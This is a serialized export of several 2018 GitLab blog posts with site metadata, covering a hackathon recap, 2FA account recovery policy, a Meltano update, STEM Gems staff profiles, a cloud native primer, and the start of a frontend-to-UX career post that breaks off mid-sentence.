the [Hackathon wiki page](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/wikis/Q3%272018-hackathon).\nWe also identified a number of issues/bugs as listed on the [wiki](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/wikis/Q3%272018-hackathon#issuesbugs-found-during-the-hackathon),\nand we will certainly be following up on these.\n\n## Will there be another Hackathon event in the future?\n\nOur plan is to have a Hackathon event every quarter, and I'm excited to announce\nthat the Q4 Hackthon will take place on November 14-15. Stay tuned for further\nannouncements in another blog post and discussions on the\n[GitLab Community room in Gitter](https://gitter.im/gitlabhq/community)\nand on the [GitLab forum](https://forum.gitlab.com/). In addition,\nif you have any suggestions for topics and/or feedback on last month's event,\nplease mention them on the [GitLab Community room in Gitter](https://gitter.im/gitlabhq/community)\nto help us improve future Hackathons.\n\n## Hackathon prizes\n\nAs we announced at the Hackathon kickoff, everyone who had MRs merged will\nreceive a token of our appreciation so they can purchase GitLab merchandise at\nthe [GitLab store](https://shop.gitlab.com/). During the Hackathon period,\neight people had MRs merged and the \"grand prize\" winner with most MRs merged is\n[George Tsiolis](https://gitlab.com/gtsiolis) with seven merged MRs!\nCongratulations to everyone! I will reach out to all winners shortly.\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\nCover image: [\"Gitlab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel).\n{: .note}\n",[267,2368,815,277],{"slug":31864,"featured":6,"template":678},"hackathon-recap","content:en-us:blog:hackathon-recap.yml","Hackathon Recap","en-us/blog/hackathon-recap.yml","en-us/blog/hackathon-recap",{"_path":31870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31871,"content":31876,"config":31881,"_id":31883,"_type":16,"title":31884,"_source":17,"_file":31885,"_stem":31886,"_extension":20},"/en-us/blog/enforcing-managing-2fa-support-security",{"title":31872,"description":31873,"ogTitle":31872,"ogDescription":31873,"noIndex":6,"ogImage":14173,"ogUrl":31874,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31874,"schema":31875},"This is what happens if you lose access to your 2FA GitLab.com account","Support Engineering Manager Lyle Kozloff explains why we no longer accept government ID for two-factor authentication removal.","https://about.gitlab.com/blog/enforcing-managing-2fa-support-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"This is what happens if you lose access to your 2FA GitLab.com account\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2018-10-08\",\n      }",{"title":31872,"description":31873,"authors":31877,"heroImage":14173,"date":31878,"body":31879,"category":299,"tags":31880},[5706],"2018-10-08","\nYou may have read my previous post about [how to keep your GitLab account safe and accessible](/blog/keeping-your-account-safe/). That came about because the Support Team recently changed how we verify your identity when you lose access to your GitLab.com account and request that the [two-factor authentication (2FA)](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) be reset. This was a collaborative effort between our Support and Security teams, and I wanted to share our updated, more secure process.\n\nUp until recently, the procedure for regaining access to your account started with resetting with an [SSH key](https://docs.gitlab.com/ee/user/ssh.html). Many users didn't have one registered, so the standard fallback for proving your identity was to provide your government-issued ID for verification. This is fairly common, but has a couple of drawbacks:\n\n- Many GitLab users don't use their real names on their GitLab accounts, so \"@elitehacker,\" for example, would have a pretty hard time proving their identity that way.\n- Also, GitLab, unlike other companies, doesn't use an independent verification service to assess these IDs. I don't even know what an Illinois driver's license looks like, let alone one issued by a country I've never been to. So there's a risk that our team wouldn't be able to identify fraudulent IDs.\n\n## How we authenticate users without using government ID\n\nWith this in mind, we started discussing ways to authenticate users that didn't rely on government-issued ID. I chatted to [Westley](/company/team/#wvandenberg) on the Security team, and got some insight into different approaches he had seen when he previously worked at Amazon. This is what the process looks like now:\n\n### Step 1: Determine risk factor\n\nThe first step is to classify the data we're potentially granting access to if we reset 2FA. There's a vast difference in risk between effectively granting access to thousands of private repositories which look like they contain secret government data, and granting access to a handful of tutorials on Angular that are public. So we came up with four different classifications based on what a user would get access to if we reset their 2FA – you can check out [the first iteration of these in the discussion in the issue](https://gitlab.com/gitlab-com/security/issues/45). This is a peer-reviewed process, so there will always be another agent confirming that the classification looks appropriate.\n\n### Step 2: Pose authentication challenges\n\nTogether Westley and I came up with a series of challenges the Support Team can pose to users who have lost access, which require knowledge and familiarity with the user's account. These challenges are given scores, and depending on what classification your account is given, there will be a minimum score you need to attain in order for us to reset your 2FA. The set of challenges posed is selected by the agent handling the ticket, and it may differ each time.\n\nThere's no one, single factor that will get you into your account – the spirit is rather that you can build a body of evidence to verify your identity, rather than relying on one thing (which used to be the case with the government ID). If you succeed in the challenges, we will reset your 2FA so you can get back into your account.\n\nThese challenges aren't made public – we're not going to give away exactly what you need to access a 2FA account, obviously 😆 We'll keep [iterating](https://handbook.gitlab.com/handbook/values/#iteration) on them too.\n\nAs mentioned, this new workflow is really a result of collaboration between Support and Security. Having identified that our existing process was less than ideal, we asked for an audit of our proposal from Security, to get their stamp of approval and ensure that we were leveraging our internal resources to keep our users' accounts safe. You can [check out the issue for this consultation with Security here](https://gitlab.com/gitlab-com/security/issues/45) for the full discussion.\n\nTo avoid resetting your 2FA altogether, here's [how to keep your GitLab account safe and accessible](/blog/keeping-your-account-safe/).\n",[2368,676,674],{"slug":31882,"featured":6,"template":678},"enforcing-managing-2fa-support-security","content:en-us:blog:enforcing-managing-2fa-support-security.yml","Enforcing Managing 2fa Support Security","en-us/blog/enforcing-managing-2fa-support-security.yml","en-us/blog/enforcing-managing-2fa-support-security",{"_path":31888,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31889,"content":31895,"config":31900,"_id":31902,"_type":16,"title":31903,"_source":17,"_file":31904,"_stem":31905,"_extension":20},"/en-us/blog/meltano-functional-group-update-post",{"title":31890,"description":31891,"ogTitle":31890,"ogDescription":31891,"noIndex":6,"ogImage":31892,"ogUrl":31893,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31893,"schema":31894},"New Meltano personas, priorities, and updates from the team","There's a lot going on — here are some of the highlights on user research, dogfooding Meltano, embedding engineers, and hiring!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678847/Blog/Hero%20Images/meltano-fgu.jpg","https://about.gitlab.com/blog/meltano-functional-group-update-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New Meltano personas, priorities, and updates from the team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2018-10-08\",\n      }",{"title":31890,"description":31891,"authors":31896,"heroImage":31892,"date":31878,"body":31898,"category":734,"tags":31899},[31897],"Jacob Schatz","\nJacob Schatz here, Staff Engineer for [Meltano](https://gitlab.com/meltano)! We've been heads down working on improving Meltano, and figured it was time for an update. We've had some great conversations that have helped us identify two general personas. Our team is also growing, and we're ready for frontend contributions, but more on that later.\n\nWe've been conducting interviews to zero in on what our users will want, what they're currently doing, and what tools they're using. Over the course of those conversations, we saw two main scenarios emerge. People either wanted a command line interface (CLI) or a graphical user interface (GUI). The GUIs that exist are painful to use, and not very intuitive. In both scenarios, people we spoke with are frustrated. This goes back to the original reason [we decided to create Meltano](/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you/) — our data team members were relying on frustrating and expensive toolsets with poor UIs.\n\n### What are the Meltano personas?\n\nOur conversations revealed two general types of users:\n* Users who have engineers on staff\n* Users who do not have engineers on staff, or their engineers do not have bandwidth to help them\n\nThe Data team at GitLab, for example, has data engineers on staff who are willing, able, and happy to write Python. We won't be able to write every extractor and loader, so our users can follow our [specifications](https://gitlab.com/meltano/specifications), which are based off of the [Singer specifications](https://github.com/singer-io/getting-started). We want to make that as easy as possible, so Meltano can be the glue between all these different pieces.\n\nFor the other teams who don’t have the technical resources, we want to make it as if they had engineers on staff. Ideally, they'll just need to click a couple of buttons, run extract, load and transform with the extractors and loaders that we already have. Hopefully in the future the community can contribute more to these types of different extractors and loaders.\n\nYou can check out our updated [readme](https://gitlab.com/meltano/meltano/blob/master/README.md) with more info about Meltano and our personas. We're working iteratively, so if you have a different setup or scenario to share, we want to hear from you about your experience! Get in touch with us and tell us about your struggles or successes with your data team.\n\n### What’s next?\n\nWe're focused on our own CLI and GUI, and continuing to build more extractors and loaders (or [\"taps and targets\"](https://www.singer.io/)). We will be the glue that ties everything together. While current Singer taps and targets support extracting and loading, we'll be supporting much more, like removal of PII. Our CLI will support all of this from one configuration. We also want the CLI to have a really nice user experience, so I'm working with GitLab UX to help make it happen.\n\nAs always, we’re looking for contributors! In the [Dashboard project](https://gitlab.com/meltano/dashboard) you’ll see the Chart.js library that I’m building to make really nice dashboards for Meltano. Although we've had a ton of great Python contributions, we haven’t had as many contributors to the frontend, so we’d love your help there.\n\n### In other news\nThere's a lot going on, here are some of the highlights!\n\n#### Dogfooding\nIn my experience, unless one experiences the direct results of the code they write, and feel the pain their users feel when they hit a bug, one might not correctly solve the problem. Currently, we fulfill the data team's requests, but if something doesn't work they merely report back to us, without us experiencing the pain ourselves. We're changing how we work in order to imprint the idea that if something is broken, it's the Meltano team's responsibility. We’re all investigating every single pipeline failure, regardless of whose “fault” it is, because these suggest that it may be a poor user experience.\n\n#### Embedded engineers\nIn order to dogfood better, we've taken a data engineer from the data team, and an engineer from the Meltano team. They split their work 50/50 so each does half of their usual work and half of each other's work. It's already made a huge difference by giving us more eyes and ears on lots of issues, and allowing the engineers to approach problems from a different angle. Another added benefit is that every Meltano engineer gets direct exposure and experience from the data team, to make them better data scientists as well product engineers.\n\nThat's all for now, get in touch with us in our [issue tracker](https://gitlab.com/groups/meltano/-/boards), and tweet us [@meltanodata](https://twitter.com/meltanodata)!\n\nCover [image](https://unsplash.com/photos/2FPjlAyMQTA) by [John Schnobrich](https://unsplash.com/@johnschno) on Unsplash\n{: .note}\n\n[Emily von Hoffmann](https://about.gitlab.com/company/team/#emvonhoffmann) contributed to this post.\n{: .note}\n",[4144,754,1067,676,1444],{"slug":31901,"featured":6,"template":678},"meltano-functional-group-update-post","content:en-us:blog:meltano-functional-group-update-post.yml","Meltano Functional Group Update Post","en-us/blog/meltano-functional-group-update-post.yml","en-us/blog/meltano-functional-group-update-post",{"_path":31907,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31908,"content":31914,"config":31918,"_id":31920,"_type":16,"title":31921,"_source":17,"_file":31922,"_stem":31923,"_extension":20},"/en-us/blog/stem-gems-give-girls-role-models",{"title":31909,"description":31910,"ogTitle":31909,"ogDescription":31910,"noIndex":6,"ogImage":31911,"ogUrl":31912,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31912,"schema":31913},"GitLab + STEM Gems: Giving girls role models in tech","Meet the GitLab team-members working to inspire the next generation to pursue careers in STEM.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672357/Blog/Hero%20Images/stem-gems.png","https://about.gitlab.com/blog/stem-gems-give-girls-role-models","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab + STEM Gems: Giving girls role models in tech\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephanie Garza\"}],\n        \"datePublished\": \"2018-10-08\",\n      }",{"title":31909,"description":31910,"authors":31915,"heroImage":31911,"date":31878,"body":31916,"category":6634,"tags":31917},[30419],"\n\nGitLab recently partnered with [STEM Gems](http://stemgemsbook.com/), an organization creating awareness of successful women in STEM, to inspire girls and give them STEM role models. **STEM** (Science, Technology, Engineering, and Mathematics) pervades every aspect of our lives; everything can be tied to technology in some way, shape, or form. Given the constant expansion of technology, career prospects are endless. One would think STEM is the number one pursued career path right?\n\nSurprisingly, according to the US Department of Commerce, in 2017 only 24 percent of women worked in STEM. Another harsh reality is that women who hold STEM degrees are less likely than their male counterparts to pursue a STEM career. In fact, women are more likely to work in education or healthcare.\n\nDriven by the low numbers, STEM Education advocate Stephanie Espy strived to make a change. Espy created STEM Gems, an organization that began as a book filled with inspiring women in STEM. The book was the stepping stone for a greater initiative to create awareness for the successful female powerhouses in STEM, as well as provide girls with role models to look up to.\n\nGirls who have STEM role models are more likely to pursue opportunities outside their traditional realm, and STEM Gems is making it possible for girls to connect with them. Role models, mentors, and career ambassadors inspire and empower girls to achieve their dreams.\n\nAt [our recent summit in South Africa](/blog/gitlab-summit-cape-town-recap/), forty GitLab team-members came together for an epic power hour of delving into each other's professional pathways and identifying challenges. Participants were paired up and asked to interview each other about their individual careers, goals, and accomplishments. This included the significant others of GitLab team-members and men interested in learning more about making GitLab inclusive. Through this event, we were able to strengthen our relationships and identify ways to foster a culture of inclusion. The event also provided greater visibility into the challenges and barriers women in STEM face.\n\nGitLab is building a community where everyone can thrive. We've gathered together the stories and photos of the GitLab team-members that participated in the event. In this post, and in a follow-up post, we will share each of these amazing stories. We want to inspire and encourage girls to set Big Goals and pursue every dream and remember you’ll always have a friend at GitLab!\n\n![Jenny and Molly](https://about.gitlab.com/images/blogimages/stem-gems/jenny.jpg){: .shadow.small.left.wrap-text}\n\n**Name:** [Jenny Nguyen](/company/team/#lankhanh28) (right)\n\n**Role:** Payroll and Payments Lead\n\n**Why is what you do important?**\nI handle payroll and expense reimbursement, making sure all our team members get paid and reimbursed on time.\n\n**What is something you are really proud of?**\n\nI helped save a previous company $2 million by applying technical logic to processes.\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nNo, I started my undergrad with Business major and took programming as an elective class. My teacher encouraged me to change my major to Computer Science and Software Engineering, but I didn't have an opportunity to be in a technical position. However, I have applied my technical knowledge and aptitude from school to reduce manual processes within my functions for the past 10 years.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nAs a non-technical person, I want them to know that they don’t have to have a career in technology to have and utilize their own technical skills. Every function needs input from technical and non-technical perspectives.\n\n----\n\n![Ramya](https://about.gitlab.com/images/blogimages/stem-gems/ramya-authappan.png){: .shadow.small.right.wrap-text}\n\n**Name:** [Ramya Authappan](/company/team/#atramya)\n\n**Title:** Senior Test Automation Engineer\n\n**Why is what you do important?**\n\nAt GitLab, I automate tests as much as possible. I design and develop test frameworks. Test automation is the key to Continuous Integration and Delivery, which in turn is essential in minimizing the 'Time to Market' of any new features, thereby achieving customer satisfaction.\n\n**What is something you are really proud of?**\n\nApart from my work at GitLab, I'm also the Director of [Women Who Code](https://www.womenwhocode.com/), Chennai chapter. As part of Women Who Code, I get to meet a lot of female leaders in the technical space. I was recently invited to be a Panelist in a discussion on digital safety help by Google and SheThePeople.tv. I was also [interviewed by a Indian National News channel](https://www.thenewsminute.com/article/women-tech-freshworks-ramya-authappan-importance-mother-friendly-workplaces-78893). I frequently share my knowledge as a conference/meetup speaker. On the whole, I love doing what I do and being who I am!\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nYes! In my school days I had to choose a specialization at the age of 16 years. I chose Computer Science, and I think I made the right choice. I find that I'm interested in software engineering and always wanted to be a software engineer.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\n1. Choose wisely when it comes to specializations.\n2. Keep learning.\n3. Give back to society.\n4. Change the world! The sky is the limit!\n\n----\n\n![Hannah](https://about.gitlab.com/images/blogimages/stem-gems/hannah-schuler.png){: .shadow.left.small.wrap-text}\n\n**Name:** [Hannah Schuler](/company/team/#hannahschuler8)\n\n**Title:** SDR Team Lead – West and APAC\n\n**Why is what you do important?**\n\nI train other SDR team members to identify and create qualified opportunities. I also assist in recruiting team members and also work closely with online marketing managers for targeted ad campaigns. The SDR role is an evangelist role – we get the opportunity to be the first point of contact for people. It's an exciting and challenging role because most often people have never heard of GitLab. Sharing news about a solution that can help people and bring value is exciting.\n\nMy role is important because I facilitate and add structure to the team. I help remove roadblocks and enable us to work more efficiently. I help team members reach their full potential.\n\n**What is something you are really proud of?**\n\nI received a discretionary bonus a few months ago for going above and beyond in my role! Being promoted from an SDR representative to a team lead in nine months was really awesome, I'm very proud of that. I'm a certified SCRUM master and product owner. I am also certified in SAFE (Agile methodology).\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nIt's evolved over time – when I was little I wanted to be a ballerina. I was super shy, an introvert, and dancing was my way to express myself. When I grew older, everything changed and I become super outgoing. I wanted to make an impact in the world and got a degree in International Business Studies because I wanted to work for the UN. My excitement for technology came a lot later in my career. My friend shared excitement about the industry and that's what initially got my foot in the door. I did not have a traditional background in tech.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nYou will have an impact in this field. Companies are looking for you. You will develop lifelong skills and have an impact in this field. Women are trailblazers in this industry. You can dictate your own earning potential and will have the opportunity to mentor other women as well.\n\n----\n\n![Cristine](https://about.gitlab.com/images/blogimages/stem-gems/cristine-marquardt.png){: .shadow.small.right.wrap-text}\n\n**Name:** [Cristine Marquardt](/company/team/#csotomango)\n\n**Title:** Billing Specialist\n\n**Why is what you do important?**\n\nI process invoices for sales-assisted orders, troubleshoot support tickets (mostly related to money and licensing issues), provide sales support, and I wear a lot of hats. Everyone in the company plays an important role to keep GitLab running. When you work at a startup, you have to be game for all the obstacles that are thrown your way. I never imagined how much I would learn and how much I could contribute in my role.\n\n**What is something you are really proud of?**\n\nI'm currently dabbling in .Net framework and I made my first semi-functional calculator. While this sounds like a rather simple task, this is huge to me since my career has been focused in the finance and accounting world.\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nI knew that I wanted to work in tech ever since I was a kid. I was fortunate enough to go to a school that had computers in each classroom and there was also a computer lab. I wanted to get into computer engineering when I was in middle/high school, but I never pursued it in college. I'm now pushing myself to learn software development.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nBelieve in yourself and don't be afraid. The only one holding you back is yourself.\n\n----\n\n![Gabriela and Diana](https://about.gitlab.com/images/blogimages/stem-gems/gabriela.jpg){: .shadow.small.right.wrap-text}\n\n**Name:** Gabriela Mena Breña (right)\n\n**Title:** Chemical Engineer (Not at GitLab, I am the significant other of a GitLab team-member)\n\n**Why is what you do important?**\n\nPractical transition from fossil fuels to renewable energy solutions. This will save the planet!\n\n**What is something you are really proud of?**\n\nI led the team that created fiscal terms for the first private investments in Mexican oil and gas resources. This protected the Mexican government's financial stability. We secured $3.1 billion worth of contracts to construct gas pipelines for the Mexican state. I am also proud to have received a full scholarship from the Mexican government to study for a Master's degree in Energy Science.\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nYes, I found science and math the most challenging, which made them the most interesting to me.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nDon't let anybody else tell you what you can be. Be true to who you really are and focus on your own goals and desires.\n\n----\n\n![Chloe](https://about.gitlab.com/images/blogimages/stem-gems/chloe-whitestone.jpg){: .shadow.small.left.wrap-text}\n\n**Name:** [Chloe Whitestone](/company/team/#drachanya)\n\n**Title:** Talent Operations Specialist\n\n**Why is what you do important?**\n\nI am part of the recruiting team. I do all of the backend operations for recruiting, such as vendor management, reporting, researching on different tools, and employee branding. In addition, I am also the recruiter for a few roles (customer success, UX designer, data engineer). GitLab cannot be what it is without having great talent and I get to be a part of this exciting journey.\n\n**What is something you are really proud of?**\n\nI've played a critical role in the multiple transitions of GitLab's ATS (application tracking system) which has improved candidate experience, increased efficiency, and given greater visibility for hiring managers to hire the best talent possible. Before I was at GitLab, there weren't any tools for recruiting metrics. Through my efforts, GitLab has recruiting metrics and is now able to analyze how they are doing compared to other industry leaders. This has allowed us to improve the hiring process and enabled applicants to get job offers faster than before.\n\n**Chloe also:**\n\n- Migrated Workable to Lever\n- Migrated Lever to Greenhouse\n- Implemented background checks at GitLab\n- Trained GitLab team-members for Greenhouse\n- Created a vacancy process for GitLab\n- Improved onboarding process and experience\n- Became an assistant manager in six months during her first fulltime job\n- Is proud of every hire she has made\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nGrowing up, I didn't think I would work in Tech. I originally wanted to be president! I was exposed to tech through my high school STEM program. That equipped me to be where I am today.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nStart right away by learning and getting involved in the community. It's harder to start the older you get (IMO). Don't be afraid, no matter how much experience you have or how old you are. You are not alone!\n\n----\n\n![Katherine](https://about.gitlab.com/images/blogimages/stem-gems/katherine-okpara.jpg){: .shadow.small.right.wrap-text}\n\n**Name:** [Katherine Okpara](/company/team/#katokpara)\n\n**Title:** Junior UX Researcher\n\n**Why is what you do important?**\n\nI work with product management and UX designers to understand users' pain points, goals, and needs. My job is to understand where we can improve the product by speaking directly to users. The user experience of a product impacts the customer directly. Positive experiences equal stronger relationships (more feedback) for the product to improve.\n\n**What is something you are really proud of?**\n\nI've received mentorship during my eight months here at GitLab and am now leading studies. I've been able to learn about different features and different aspects of the product at a fast pace. I have helped to build healthy relationships between end users and teams for better product improvements/advancements.\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nNo. I didn't know anything about tech/computers, etc. until college. I took a few programming/data science classes in college and that's when my interest was piqued. I was on more of an academic path at school (psychology). In my last year of college I took a web design class (applying research to products) and felt that I had found my niche. I have been working on those skills ever since through online courses, research, etc.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nThere is a place for you! Whether it's programming or another area, there are still many paths for consideration. If you come from a non-traditional path, there is always a way to link your skills to your desired role. Believe that you can do it, even if you don't currently have the skills (you can build those skills!).\n\n----\n\n![Lucas](https://about.gitlab.com/images/blogimages/stem-gems/lucas.jpg){: .shadow.small.left.wrap-text}\n\n**Name:** Lucas Charles\n\n**Title:** Individual Contributor to Gitlab (significant other to a GitLab team-member)\n\n**Why is what you do important?**\n\nI am an end-user, and GitLab wouldn't be a product without users. It's built on open source technology, which requires everyone to contribute. As a user and contributor, it is powerful to have everything in one place and GitLab is fun to use. It's easier to go to work every day with software you love.\n\nMy significant other works at GitLab, but I would use it every day regardless. I love the product and company. I think GitLab is doing something important and changing the way we build software.\n\n**What is something you are really proud of?**\n\nWhen my significant other was looking for a new job, I realized that GitLab would be a perfect fit for her and encouraged her to apply. I wanted to do everything I could to help her because I care and it's an amazing opportunity to push herself and contribute to a greater tech community full of diverse people, product, and cultures.\n\nI'm incredibly proud of my significant other. She works on GitLab every day, making the world a more interesting place through technology. I'm quite proud to be part of that network. I'm also proud to be one of the first 1,000 contributors to Gitlab. I'm proud that GitLab chose to recognize that by sending me a special sticker!\n\n**Did you know you wanted to work in tech when you were growing up? If not, what did you THINK you wanted to be?**\n\nI've always been a tinkerer and like to take things apart and put them together. Tech enables me to do that quickly and easily. It is an amazing industry that creates something out of nothing but an idea, and has limitless possibilities. We move fast and many truly believe they are changing the world.\n\n**If you could give advice to a girl thinking about a career in tech, what would it be?**\n\nFirst, to just do it, because it's an incredible field and we need more diversity. Diversity is important: we need a range of ideas, perspectives, and to create more opportunities to understand each other. We should build products that work for everyone and address all needs. Challenging ourselves and growing ourselves through different perspectives is critical for both personal growth and a healthy culture.\n",[7715,267,2368,676,3798],{"slug":31919,"featured":6,"template":678},"stem-gems-give-girls-role-models","content:en-us:blog:stem-gems-give-girls-role-models.yml","Stem Gems Give Girls Role Models","en-us/blog/stem-gems-give-girls-role-models.yml","en-us/blog/stem-gems-give-girls-role-models",{"_path":31925,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31926,"content":31931,"config":31935,"_id":31937,"_type":16,"title":31938,"_source":17,"_file":31939,"_stem":31940,"_extension":20},"/en-us/blog/what-is-cloud-native",{"title":31927,"description":31928,"ogTitle":31927,"ogDescription":31928,"noIndex":6,"ogImage":12243,"ogUrl":31929,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31929,"schema":31930},"A beginner's guide to cloud native","If you’re a little fuzzy on what makes an application cloud native, this explainer will help you get up to speed.","https://about.gitlab.com/blog/what-is-cloud-native","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A beginner's guide to cloud native\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-10-08\",\n      }",{"title":31927,"description":31928,"authors":31932,"heroImage":12243,"date":31878,"body":31933,"category":8943,"tags":31934},[29394],"\n\n## What is cloud native? Everything you need to know\n\nThe term [cloud native](/topics/cloud-native/) has been bandied about in the tech world a lot over the last few years, but it's still often misunderstood. Although it's an important part, simply being run in the cloud does not make an application cloud native; it must also be built in the cloud. One of the first and currently largest cloud computing providers, Amazon Web Services paved the way for cloud native app development, a now more than [$20 billion market](https://www.canalys.com/newsroom/cloud-infrastructure-spend-reaches-us%2420-billion-in-q2-2018-with-hybrid-it-approach-dominant) as of this year. With its growing popularity, organizations like the Cloud Native Computing Foundation (CNCF) have sprouted to help foster the growth of cloud native app development.\n\n[CNCF](https://www.cncf.io/), an open source software organization focused on promoting the cloud-based app building and deployment approach, [defines cloud native](https://github.com/cncf/toc/blob/master/DEFINITION.md) as the following:\n\n>Cloud native technologies empower organizations to build and run scalable applications in modern, dynamic environments such as public, private, and hybrid clouds.\n>\n>Containers, service meshes, [microservices](/topics/microservices/), immutable infrastructure, and declarative APIs exemplify this approach. These techniques enable loosely coupled systems that are resilient, manageable, and observable. Combined with robust automation, they allow engineers to make high-impact changes frequently and predictably with minimal toil.\n\nTo break it down even further: For an application to be cloud native, it must be built and run in the cloud. This requires multiple tools that allow app developers to make use of the architectural advantages of cloud infrastructure.\n\n## There are three main building blocks of cloud native architecture\n\n### Containers\n\n[Containers](/blog/containers-kubernetes-basics/) are an [alternative way to package applications](https://searchitoperations.techtarget.com/tip/What-are-containers-and-how-do-they-work) versus building for VMs or physical servers directly. Containers can run inside of a virtual machine or on a physical server. Containers hold an application’s libraries and processes, but don't include an operating system, making them lightweight. In the end, fewer servers are needed to run multiple instances of an application which reduces cost and makes them easier to scale. Some other [benefits of containers](https://tsa.com/top-5-benefits-of-containerization/) include faster deployment, better portability and scalability, and improved security.\n\n### Orchestrators\n\nOnce the containers are set, an orchestrator is needed to get them running. Container orchestrators direct how and where containers run, fix any that go down and determine if more are needed. When it comes to container orchestrators, also known as schedulers, Kubernetes is the [clear cut market winner](/blog/top-five-cloud-trends/).\n\n### Microservices\n\nThe last main component of cloud native computing is microservices. In order to make apps run more smoothly, they can be broken down into smaller parts, or microservices, to make them easier to scale based on load. Microservices infrastructure also makes it easier – and faster – for engineers to develop an app. Smaller teams can be formed and assigned to take ownership of individual components of the app’s development, allowing engineers to code without potentially impacting another part of the project.\n\nWhile public cloud services like AWS offer the opportunity to build and deploy applications easily, there are times when it makes sense to build your own infrastructure. A private or hybrid cloud solution is generally needed when sensitive data is processed within an application or industry regulations call for increased controls and security.\n\n## How to streamline cloud native development\n\nAs you can see, cloud native app development requires the incorporation of several tools for a successful deployment. It begs for a DevOps approach to efficiently streamline the multiple elements needed to get an app up and running in the cloud. This is where GitLab comes in.\n\nWe're aiming to make GitLab the best place to build cloud native apps. With [built-in registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html) and [Kubernetes integrations](https://docs.gitlab.com/ee/user/project/clusters/index.html) we're always working to offer new ways to simplify toolchains and speed up cycle times, making it easier to transition to a cloud native environment.\n\nFor a deeper dive into cloud native, check out our training video by GitLab Product Marketing Manager [William Chia](/company/team/#thewilliamchia):\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jc5cY3LoOOI?start=90\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover photo by [Sam Schooler](https://unsplash.com/photos/E9aetBe2w40) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[3949,2509],{"slug":31936,"featured":6,"template":678},"what-is-cloud-native","content:en-us:blog:what-is-cloud-native.yml","What Is Cloud Native","en-us/blog/what-is-cloud-native.yml","en-us/blog/what-is-cloud-native",{"_path":31942,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31943,"content":31949,"config":31955,"_id":31957,"_type":16,"title":31958,"_source":17,"_file":31959,"_stem":31960,"_extension":20},"/en-us/blog/how-i-transitioned-from-frontend-to-ux",{"title":31944,"description":31945,"ogTitle":31944,"ogDescription":31945,"noIndex":6,"ogImage":31946,"ogUrl":31947,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31947,"schema":31948},"How I transitioned from frontend to UX","One GitLab team-member shares how switching from a frontend engineer to a UX designer has been a rewarding experience.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679015/Blog/Hero%20Images/frontendux.jpg","https://about.gitlab.com/blog/how-i-transitioned-from-frontend-to-ux","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How I transitioned from frontend to UX\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Annabel Dunstone Gray\"}],\n        \"datePublished\": \"2018-10-05\",\n      }",{"title":31944,"description":31945,"authors":31950,"heroImage":31946,"date":31952,"body":31953,"category":6634,"tags":31954},[31951],"Annabel Dunstone Gray","2018-10-05","\nWhen I joined GitLab over two and a half years ago as a frontend engineer, I brought with\nme a background in photography and an interest in art and design. In my last year\nof university, I worked at an art museum, and I’ve always gravitated towards the\nmore design-y aspects of frontend. For each release, my assigned deliverables\nwere usually focused on redesigns, and while I enjoy that type of work, what I\nreally wanted to do was to help shape the look and feel of GitLab, rather than\nimplementing the designs of others.\n\n## Making the first move\n\nAt GitLab, we're lucky to have the opportunity to 